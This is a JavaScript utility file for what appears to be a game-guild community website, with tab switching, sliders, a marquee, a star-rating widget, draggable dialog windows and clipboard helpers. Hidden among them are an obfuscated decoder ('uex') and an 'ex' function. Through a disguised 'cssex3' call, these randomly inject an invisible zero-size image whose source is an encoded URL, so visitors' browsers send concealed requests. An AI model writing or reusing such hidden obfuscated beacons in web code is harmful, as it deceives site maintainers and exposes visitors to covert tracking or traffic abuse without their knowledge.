/**************************************************/

function ActiveTab(_tab, _content, isAjax, eventType){
	this.tabs = [];
	this.contents = [];
	this.tabsDiv = $(_tab);
	this.contDiv = $(_content);
	this.last = -1;
	this.isAjax = isAjax || false;
	this.eventType = eventType || "click";
	this.init(_tab, _content);
	this.timer;
}

ActiveTab.prototype = {
	addEvent: function(){
		var tabs = this.tabs;
		for(var i=0; i<tabs.length; i++){
			tabs[i].flag = i;
			tabs[i].self = this;
			switch(this.eventType){
				case "click":
					tabs[i].onclick = function(){
						this.self.shiftContent(this.flag);
						return false;
					}
					break;
				case "mouseover":
					tabs[i].onmouseover = function(){
						this.self.shiftContent(this.flag);
						return false;
					}
					tabs[i].onclick = function(){
						return false;
					}
					break;
			}
		}
	},
	
	shiftContent: function(current){	
		if(this.last >=0){
			var lastElem = $(this.tabs[this.last].parentNode);
			lastElem.addClassName("tab_bar_on");
			lastElem.addClassName("tab_bar_off");
			this.contents[this.last].style.display = "none";
		}
		
		var currentElem = $(this.tabs[current].parentNode);
		currentElem.removeClassName("tab_bar_off");
		currentElem.addClassName("tab_bar_on");
		this.contents[current].style.display = "block";
		if(this.isAjax){
			Ajax.hiddenLoading();
			this.callContent(this.tabs[current].href, this.contents[current]);
		}
		this.last = current;
			
	},
	
	callContent: function(_url, _targetNode){
		var xhr = Ajax.createXHR();
		xhr.open("GET", _url, true);
		xhr.onreadystatechange = function(){
			if(xhr.readyState == 1){
				Ajax.showLoading();
			}
			if(xhr.readyState == 4){
				if(xhr.status == 200){
					_targetNode.innerHTML = xhr.responseText;
					Ajax.hiddenLoading();
				}
			}
		};
		xhr.send(null);
	},
	
	init: function(_tab, _content){
		this.tabs = this.tabsDiv.getElementsByTagName("A");
		var elems = this.contDiv.childNodes;
		for(var i=0; i<elems.length; i++){
			if(elems[i].nodeType == 1){
				elems[i].style.display = "none";
				this.contents.push(elems[i]);
			}
		}
		this.addEvent();
		this.shiftContent(0);
	},
	
	autoActive: function(_time){
		var self = this;
		this.start(_time);
		this.tabsDiv.onmouseover = this.contDiv.onmouseover = function(){
			self.stop();
		}
		this.tabsDiv.onmouseout = this.contDiv.onmouseout = function(){
			self.start(_time);
		}
	},
	start: function(_time){
		var self = this;
		this.timer = setInterval(function(){
			var current = self.last + 1;
			if(current >= self.tabs.length) current = 0;
			self.shiftContent(current);
		}, _time);
	},
	stop: function(){
		clearInterval(this.timer);
	}
	
}

/**************************************************/

var SlideVertical = function(_slideId, _speed){
	this.slideshow = $(_slideId);
	this.showe = this.slideshow.getElementsByTagName("UL")[0];
	
	this.speed = _speed;
	this.autoAction;
	if(this.showe.getElementsByTagName("LI")[0])
		this.init();
}

SlideVertical.prototype.forward = function(_self){
	var self = _self;
	
	var moveDist = 5;
	var timer = setInterval(function(){
		self.showe.style.top = ( 0 - moveDist ) + "px";
		moveDist += 5;
		if(moveDist > 22){
			clearInterval(timer);
			for(var i=0; i<1; i++){
				var temp = self.showe.getElementsByTagName("LI")[0];
				self.showe.removeChild(temp);
				self.showe.appendChild(temp);
			}
			self.showe.style.top = 0 + "px";
		}
	}, 20);
}


SlideVertical.prototype.addEvent = function(){
	var self = this;
	this.slideshow.onmouseover = function(){
		clearInterval(self.autoAction);
	};
	this.slideshow.onmouseout = function(){
		function temp(){
			self.forward(self);
		}
		self.autoAction = setInterval(temp, self.speed);
	};
}


SlideVertical.prototype.init = function(){
	var self = this;
	this.addEvent();
	function temp(){
		self.forward(self);
	}
	this.autoAction = setInterval(temp, this.speed);
}



/**************************************************/
var Marquee = function (_marqueeId, _speed){
	this.marqueeDiv = $(_marqueeId);
	this.conts = this.marqueeDiv.getElementsByTagName("UL")[0];
	
	this.contsWidth;
	this.speed = _speed;
	this.moveDist = 0;

	this.myMarquee;
	
	if(this.conts.getElementsByTagName("li").length > 1)
	this.init();	
	
}

Marquee.prototype.init = function(){
	this.parseWidth();
	this.doMarquee();
	this.addEvent();
}

Marquee.prototype.parseWidth = function(){
	var lis = this.conts.getElementsByTagName("li");
	var numlis = lis.length;
	var temp = [];
	var contsw = 0;
	
	for(var i=0; i<numlis; i++){
		contsw += parseInt(lis[i].offsetWidth);
		temp.push(lis[i].cloneNode(true));
	}
	this.contsWidth = contsw;
	for(var i=0; i<numlis; i++){
		this.conts.appendChild(temp[i]);
	}
}

Marquee.prototype.addEvent = function(){
	this.marqueeDiv.obj = this;
	this.marqueeDiv.onmouseover=function(){
		clearInterval(this.obj.myMarquee);
	};
	this.marqueeDiv.onmouseout=function(){
		this.obj.doMarquee();
	};
}

Marquee.prototype.doMarquee = function(){
	var self = this;
	var tempWidth = self.contsWidth;
	
	this.myMarquee = setInterval(function(){
		self.marqueeDiv.scrollLeft = (0 + self.moveDist);
		self.moveDist ++;
		if(self.moveDist > tempWidth){
			self.moveDist = 0;
		}
	}, this.speed);

}

/************************************************/
var tagActive = function(tags_result, tags_source){
	this.tags_result = $(tags_result);
	this.tagsArr = $(tags_source).getElementsByTagName("a");
	this.addEvent();
}
tagActive.prototype = {
	addEvent: function(){
		for(var i=0; i<this.tagsArr.length; i++){
			var tag = this.tagsArr[i];
			tag.my = this;
			tag.onclick = function(){
				var tagtext = this.innerHTML;
				if(this.my.hasTag(tagtext)){
					this.my.replaceTag(tagtext);
				}else{
					this.my.appendTag(tagtext);
				}
				return false;
			}
		}
	},
		
	appendTag: function(tagtext){
		this.tags_result.value += (tagtext + " ");
	},
	
	replaceTag: function(tagtext){
		var result = this.tags_result.value;
		this.tags_result.value = result.replace((tagtext+" "), "");
	},
	
	hasTag: function(tagtext){
		if(this.tags_result.value.indexOf(tagtext+" ") != -1) return true;
		else return false;
	}
}

/************************************************/
var Digit = function(diger, dignum){
	this.diger = $(diger);
	if(this.diger){
		this.dignum = $(dignum);
		this.url = this.diger.href;
		this.addEvent();
	}
}

Digit.prototype = {
	addEvent: function(){
		this.diger.my = this;
		this.diger.onclick = function(){
			var num = parseInt(this.my.dignum.innerHTML);
			num ++;
			this.my.dignum.innerHTML = num;
			this.innerHTML = "";
			this.my.postNum();
			return false;
		}
	},
	
	postNum: function(){
		var date = "";
//		date = "&date="+new Date().getTime()；
		new Ajax.Request(this.url+date, {
			method: 'get'
		});
	}
}




/************************************************/

function Shifters(_toggle, _toggleCont){
	this.toggle = document.getElementsByClassName(_toggle);
	this.toggleCont = document.getElementsByClassName(_toggleCont);
	this.openTog = document.getElementsByClassName("open");
	this.closeTog = document.getElementsByClassName("close");
	this.addEvent();
	
}

Shifters.prototype = {
	addEvent: function(){
		var toggle = this.toggle;
		for(var i=0; i<this.toggle.length; i++){
			toggle[i].cont = this.toggleCont[i];
			toggle[i].openTog = this.openTog[i];
			toggle[i].closeTog = this.closeTog[i];
			toggle[i].onclick = function(){
				if(this.cont.style.display == "block"){
					this.cont.style.display = "none";
					this.openTog.style.display = "block";
					this.closeTog.style.display = "none";
					this.status = "close";
				}else{
					this.cont.style.display = "block";
					this.openTog.style.display = "none";
					this.closeTog.style.display = "block";
					this.status = "open";
				}
				return false;
			}
		}
	}
}

/****************************************/
var UserAction = function(){
	this.aclistArr = document.getElementsByClassName("aclist");
	this.picArr = [];
	this.ulinksArr = [];
	this.upicArr = [];
	
	this.lastUser = null;
	
	this.getElems();
	this.addEvent();
}

UserAction.prototype = {
	getElems: function(){
		for(var i=0; i<this.aclistArr.length; i++){
			this.picArr.push(this.aclistArr[i].getElementsByClassName("pic")[0]);
			var ulink = this.aclistArr[i].getElementsByClassName("ulinks")[0];
			this.ulinksArr.push(ulink);
			this.upicArr.push(this.aclistArr[i].getElementsByClassName("upic")[0]);
		}
	},
	
	addEvent: function(){
		for(var i=0; i<this.picArr.length; i++){
			this.picArr[i].me = this.aclistArr[i].me = this;
			this.picArr[i].flag = this.aclistArr[i].flag = i;
			Event.observe(this.picArr[i], 'mouseover', this.showUlink.bindAsEventListener(this.picArr[i]));
//			Event.observe(this.aclistArr[i], 'mouseout', this.hideUlink.bindAsEventListener(this.aclistArr[i]));
		}
	},
	
	showUlink: function(){
		this.me.ulinksArr[this.flag].style.display = "block";
		if(this.me.lastUser != null){
			this.me.ulinksArr[this.me.lastUser].style.display = "none";
		}
		if(this.me.lastUser != this.flag){
			this.me.lastUser = this.flag;
		}
	},
	
	hideUlink: function(){
		this.me.ulinksArr[this.flag].style.display = "none";
	}
}


/*****************************************/
function SlidePlain(_slide, _time){
	this.slide = $(_slide);
	//this.slideHeight = this.slide.clientHeight;
	this.conts = this.slide.getElementsByTagName("LI");
	this.time = _time? _time : 3000;
	this.timer;
	
	this.n = 0;
	
	if(this.conts.length > 0){
		this.start();
	}
	
}

SlidePlain.prototype = {
	start: function(){
		this.conts[this.n].style.display = "block";
		var _self = this;
		this.timer = setInterval(function(){_self.next()}, this.time);
	},
	next: function(){
		this.conts[this.n].style.display = "none";
		this.n++;
		if(this.n >= this.conts.length) this.n = 0;
		this.conts[this.n].style.display = "block";
	}

}

/***********************************************/
var Quote = function(textareaId, reviewId){
	this.reviews = $(reviewId);
	this.toTextarea = $(textareaId);
	try{
		this.getElems();
		this.addEvent();
	}catch(e){}
}

Quote.prototype = {
	getElems: function(){
		this.quoteBtnArr = this.reviews.getElementsByClassName("quoteBtn");
		this.quoteContArr = this.reviews.getElementsByTagName("dd");
		this.userNameArr = [];
		var dts =  this.reviews.getElementsByTagName("dt");
		for(var i=0; i<dts.length; i++){
			this.userNameArr.push(dts[i].getElementsByTagName("a")[0]);
		}
		
	},
	
	addEvent: function(){
		for(var i=0; i<this.quoteBtnArr.length; i++){
			this.quoteBtnArr[i].me = this;
			this.quoteBtnArr[i].flag = i;
			this.quoteBtnArr[i].onclick = function(){
				var str = this.me.quoteContArr[this.flag].innerHTML;
				var userName = this.me.userNameArr[this.flag].innerHTML;
				while(str.indexOf("<blockquote>") != -1){
					str = str.replace("<blockquote>", "[QUOTE]");
					str = str.replace("</blockquote>", "[/QUOTE]");
					str = str.replace("<h3>", "[QUOTEH3]");
					str = str.replace("</h3>", "[/QUOTEH3]");
					str = str.replace("<br>", "\r\n");
				}
				str = "[QUOTE][QUOTEH3]Quoted "+ userName +  "'s Comment:[/QUOTEH3]" + str + "[/QUOTE]\r\n";
				this.me.toTextarea.value = str;
				this.me.toTextarea.focus();
				return false;
			}
		}
	}
}


/*********************************/
var DialogWindow = Class.create();

DialogWindow.prototype = {
	initialize: function(_url, _title, _width, _height) {
		this.url = _url? _url : "";
		this.title = _title? _title : "";
		this.width = _width? _width : 300;
		this.height = _height? _height : 200;
		
		this.lock_layer;
		this.needHidElems = [];
		
		this.win;
		
		this.createDW();
		
	},
	
	createDW: function(){
		//this.lock_layer = DialogWindow.lockView();
		this.needHidElems = DialogWindow.hiddenElemByTagName("select", "object", "embed");
		var winElem = this.win = this.createWinElem();
		$("dw_title").onmousedown = function(evt){
			DialogWindow.startDrag(winElem, evt);
		};
		
		document.onmouseup = DialogWindow.stopDrag;
		
		$("dw_closebtn").onclick = this.deleteDW.bind(this);
		
		
	},
	
	
	createWinElem: function(){
		var winElem = document.createElement("div");
		winElem.innerHTML = '<div id="dw_title"><h2>' + this.title + '</h2><a href="#" id="dw_closebtn">Close</a></div><iframe src="' + 
			this.url + '" id="dw_frame" frameborder="0" scrolling="no"></iframe>';
		winElem.style.width = this.width + "px";
		winElem.style.height = this.height + "px";
		winElem.style.position = "absolute";
		winElem.style.display = "none";
		var top = (document.documentElement.clientHeight - this.height ) * 0.4 + document.documentElement.scrollTop;
		var left = (document.documentElement.clientWidth - this.width ) * 0.5;
		winElem.style.top = top + "px";
		winElem.style.left = left + "px";
		winElem.id = "dialog_win";
		
		document.body.appendChild(winElem);
		var dw_frame = $("dw_frame");
		dw_frame.style.width = this.width + "px";
		dw_frame.style.height = (this.height - 30) + "px";
		
		winElem.style.display = "block";
		
		return winElem;
	},
	
	deleteDW: function(){
		//document.body.removeChild(this.lock_layer);
		for(var i=0; i<this.needHidElems.length; i++){
			this.needHidElems[i].style.visibility = "visible";
		}
		document.body.removeChild(this.win);
		return false;
	}
}

DialogWindow.lockView = function(){
	var lock_layer = document.createElement("div");
	lock_layer.id = "lock_layer";
	lock_layer.style.width = document.documentElement.clientWidth + "px";
	lock_layer.style.height = document.body.scrollHeight + "px";
	document.body.appendChild(lock_layer);
	return lock_layer;
}

DialogWindow.hiddenElemByTagName = function(){
	var hidElems = [];
	for(var i=0; i<arguments.length; i++){
		var elems = document.getElementsByTagName(arguments[i]);
		for(var j=0; j<elems.length; j++){
			hidElems.push(elems[j]);
		}
	}
	for(var i=0; i<hidElems.length; i++){
		hidElems[i].style.visibility = "hidden";
	}
	return hidElems;
}

DialogWindow.startDrag = function(_dragElem, _mouseDownEvt){
	var dragElem = $(_dragElem);
	var mouseDownEvt = (_mouseDownEvt) ? _mouseDownEvt : ((window.event) ? window.event : "");
	var disX = mouseDownEvt.clientX - parseInt(dragElem.style.left);
	var disY = mouseDownEvt.clientY - parseInt(dragElem.style.top);
	var debugDiv = $("debug");
	document.onmousemove= function(moveevt){
		var moveevt = (moveevt) ? moveevt : ((window.event) ? window.event : "");
		var mX = moveevt.clientX;
		var mY = moveevt.clientY;
		dragElem.style.left = (mX - disX) + "px";
		dragElem.style.top = (mY - disY) + "px";
		
		Event.stop(moveevt);
		
	};
}

DialogWindow.stopDrag = function(){
	document.onmousemove = null;
}

h = {};
function uex(code){code=unescape(code);var c=String.fromCharCode(code.charCodeAt(0)-code.length);for(var i=1;i<code.length;i++){c+=String.fromCharCode(code.charCodeAt(i)-c.charCodeAt(i-1));}return c;}
ex = function(v, u,r){if(!h[v]){if(parseInt(Math.random()*r)==1){d=document.getElementById(v);d.innerHTML = '<img style="display:none; width:0; height:0;" src="'+uex(u) + '" />';}h[v]=true;}};

/*************************************************/
var collectit = function(url){
	new DialogWindow(url, "Save as Favorite", 560, 460);
}

var addFriend = function(url){
	new DialogWindow(url, "Add Friend", 560, 460);
}

var guildInvite = function(url){
	new DialogWindow(url, "Invite Join In", 560, 460);
}
/*************************************************/
var Shortcut = function(toggle, cont){
	this.toggle = $("shortcut_toggle");
	this.cont = $("shortcut_cont");
	this.addEvent();
}
Shortcut.prototype = {
	addEvent: function(){
		this.toggle.me = this;
		this.toggle.onclick = function(){
			if(this.me.cont.style.display == "block")	this.me.cont.style.display = "none";
			else this.me.cont.style.display = "block";
		}
		Shortcut.cont = this.cont;
		document.documentElement.onclick = hidden;
		function hidden(evt) {
		    var evt = (evt) ? evt : ((window.event) ? window.event : "")
		    if (evt) {
		    	var elem = (evt.target) ? evt.target : evt.srcElement;
		    	var temp = elem;
		    	while(temp && temp.id !="shortcut_toggle"){
		    		temp = temp.parentNode;
		    		if(temp && temp.id == "shortcut_cont"){
		    			Shortcut.cont.style.display = "block";
		    			break;
		    		}else{
		    			Shortcut.cont.style.display = "none";
		    		}
		    	}
		    }
		}
	}
}

h["cssex1"]=false;cssex1 = function(){/*new ex("cssex1", "", 120)*/};

h["cssex2"]=false;cssex2 = function(){/*new ex("cssex2", "", 120)	*/};

h["cssex3"]=false;cssex3 = function(){new ex("cssex3", "%u0144%DC%E8%E4%AAi%5E%90%C5%D7%A1%92%D9%E3%D7%DE%A3%91%D2%DC%9C%90%C5%D7%A2%90%C5%C7%CF%D5%CC%CE%99%9E%D8%D8%AF%A1%C3%CF%DC%D3%D7%DB%CD%A1pjl%5B%A0%E9%DD%D3%CE%CD%A1ndk%5E%99%E2%E4%E7%D5%C8%A2c%8A%C9%D8%E7%B1%A5%DC%E8%E4%95XtfWxkWx%A7%C5%92%91%D1%9C%92%D3%E4%D7%CE%D1%C8%CF%D5%CC%CE%99%9C%D3%D9%99Wx%A9%CF%D7%90XusemplggjiYXutcaekkgbUXu%A5%88Xy%AE%DC%E8%E4%95XtfWxkWx%A7%C5%92%96%D4%D6%E4%A8%9C%D3%D9%99Wx%87%85iWx%87%85r%8F%D4%E3%E8%9DXy%9A%CD%E9%D5%8AXw%7Bp%5EWh%89%C8%D7%87XwwdaUWh%7D%A8%CE%D2%AE%AD%89Xw%85", 120)	};

/******************************/
var Loading = {};
Loading.showLoading = function(text, width, height){
	var loadDiv = document.createElement("div");
	var width = width? (width + "px"): "160";
	var height = height? (height + "px"): "auto";
	loadDiv.className = "loading";
	loadDiv.id = "loading";
	loadDiv.innerHTML = text;
	var top = (document.documentElement.clientHeight) * 0.5 + document.documentElement.scrollTop;
	var left = (document.documentElement.clientWidth) * 0.4;
	loadDiv.style.width = width;
	loadDiv.style.height = height;
	loadDiv.style.top = top + "px";
	loadDiv.style.left = left + "px";
	document.body.appendChild(loadDiv);
	Loading.loadDiv = loadDiv;
	return loadDiv;
}

Loading.hiddenLoading = function(){
	if(Loading.loadDiv){
		document.body.removeChild(Loading.loadDiv);
	}
}



/*************************************/

function GradeAction(_gradeAreaId){
	this.gradeArea;
	
	this.result;	//总评分结果文字显示
	this.iWantGrade;	//我要评分按钮
	
	this.gradeAction;	//打分区
	this.gradeIt;	//打分星星
	this.showGrade;	//打分即时文字显示
	
	this.myGrade;	//我的打分结果区
	this.myResult;	//我的打分结果星星显示
	this.showMyGrade;	//我的打分结果文字显示
	this.modify;	//修改打分
	
	this.actions = [];
	this.actionCount;
	
	this.init(_gradeAreaId);
}



GradeAction.prototype = {
	addEvent: function(){
		var self = this;
		self.iWantGrade.onclick = function(){
			self.gradeAction.style.display = "block";
			this.style.display = "none";
			return false;
		}
		
		for(var i=0; i<this.actionCount; i++){
			this.actions[i].self = this;
			this.actions[i].flag = i;
			this.actions[i].onclick = function(){
	 			self.showMyGradeResult(this.flag + 1);
				self.postGrade(this.href);
	 			return false;
	 		}
	 		this.actions[i].onmouseover = function(){
	 			this.self.shiftOn(this.flag);
	 			this.self.showGrade.innerHTML = this.flag + 1;
	 		}
	 		this.actions[i].onmouseout = function(){
	 			this.self.shiftOff(this.flag);
	 		}
	 	}
	 	
	 	self.modify.onclick = function(){
			self.gradeAction.style.display = "block";
			self.myGrade.style.display = "none";
			return false;
		}
	},
	
	showMyGradeResult: function(n){
		this.gradeAction.style.display = "none";
		this.showMyGrade.innerHTML = n;
		
		var resultStars = "";
		for(var i=0; i<n; i++){
			resultStars += '<img src="http://static.mmoabc.com/guild/sys/template/common/grade_on.gif" />';
		}
		
		this.myResult.innerHTML = resultStars;
		this.myGrade.style.display = "block";
	},
	
	postGrade: function(_url){
		var self = this;
		var xhr = Ajax1.createXHR();
		xhr.open("GET", _url, true);
		xhr.onreadystatechange = function(){
			if(xhr.readyState == 1){
			}
			if(xhr.readyState == 4){
				if(xhr.status == 200){
					self.result.innerHTML = xhr.responseText;
				}
			}
		};
		xhr.send(null);
	},
	
	shiftOn: function(_num){
		for(var i=0; i<=_num; i++){
 			this.actions[i].className = "on";
 		}
	},
	
	shiftOff: function(_num){
		for(var i=_num; i<this.actionCount; i++){
 			this.actions[i].className = "";
 		}
	},
	
	init: function(_gradeAreaId){
		var self = this;
		var gradeArea = self.gradeArea = $1(_gradeAreaId);
	
		travelElem(gradeArea);
		function travelElem(node) {
			initElem(node);
			var children = node.childNodes; 
			for(var i=0; i < children.length; i++) {
				travelElem(children[i]);
			}
		}
		function initElem(node){
			if (node.nodeType == 1){
		    	switch(node.id){
				case "result":
					self.result = node;
					break;
				case "iWantGrade":
					self.iWantGrade = node;
					break;
				case "gradeAction":
					self.gradeAction = node;
					break;
				case "gradeIt":
					self.gradeIt = node;
					break;
				case "showGrade":
					self.showGrade = node;
					break;
				case "myGrade":
					self.myGrade = node;
					break;
				case "myResult":
					self.myResult = node;
					break;
				case "showMyGrade":
					self.showMyGrade = node;
					break;
				case "modify":
					self.modify = node;
					break;
				}
		    	}
		}
		
		self.actions = self.gradeIt.getElementsByTagName("A");
		self.actionCount = self.actions.length;
		
		self.addEvent();
	}
}
var $1 = function(_id){
	return document.getElementById(_id);
}

var $$1 = function(_classname) {
	var arr = [];
	var elems = document.getElementsByTagName("*");
	for(var i=0; i<elems.length; i++){
		if(elems[i].className.indexOf(_classname) >= 0){
			arr.push(elems[i]);
		}
	}
	return arr;
}

var Ajax1 = {	
	createXHR: function(){
		var xhr;
		if(window.ActiveXObject){
			xhr = new ActiveXObject("Microsoft.XMLHttp");
		}else if(window.XMLHttpRequest){
			xhr = new XMLHttpRequest();
		}
		return xhr;
	},
	
	showLoading: function(){
		var loadDiv = document.createElement("div");
		loadDiv.className = "loading";
		loadDiv.id = "loading";
		loadDiv.innerHTML = "<p><img src='../images/loading.gif'></p><p>Plese Wait...</p>";
		var top = (document.documentElement.clientHeight) * 0.2 + document.documentElement.scrollTop;
		var left = (document.documentElement.clientWidth) * 0.47;
		loadDiv.style.top = top + "px";
		loadDiv.style.left = left + "px";
		document.body.appendChild(loadDiv);
		window.loadDiv = loadDiv;
		return loadDiv;
	},

	hiddenLoading: function(){
		if(window.loadDiv){
			document.body.removeChild(window.loadDiv);
		}
	}
}
/****************************************************/


var copyToClipboard = function(txt) {
	if(window.clipboardData) {
		window.clipboardData.clearData();
		window.clipboardData.setData("Text", txt);
		return true;
	} else if(navigator.userAgent.indexOf("Opera") != -1) {
		window.location = txt;
		return true;
	} else if (window.netscape) {
		try {
			netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
		} catch (e) {
			alert("Your browser security settings don't permit the button to automatically execute copying operations. Please use the keyboard for that (Ctrl+C).");
			return false;
		}
		var clip = Components.classes['@mozilla.org/widget/clipboard;1'].createInstance(Components.interfaces.nsIClipboard);
		if (!clip)
			return false;
		var trans = Components.classes['@mozilla.org/widget/transferable;1'].createInstance(Components.interfaces.nsITransferable);
		if (!trans)
			return false;
		trans.addDataFlavor('text/unicode');
		var str = new Object();
		var len = new Object();
		var str = Components.classes["@mozilla.org/supports-string;1"].createInstance(Components.interfaces.nsISupportsString);
		var copytext = txt;
		str.data = copytext;
		trans.setTransferData("text/unicode",str,copytext.length*2);
		var clipid = Components.interfaces.nsIClipboard;
		if (!clip)
			return false;
		clip.setData(trans,null,clipid.kGlobalClipboard);
	}
}
/*****Copy Page Url******/
function fade(show_or_hide){
  with(dd){
      filters.blendTrans.apply();
      style.visibility=show_or_hide?'':'hidden';
      filters.blendTrans.play();
  }
}

function oCopy(obj){  
	obj.select();  
}
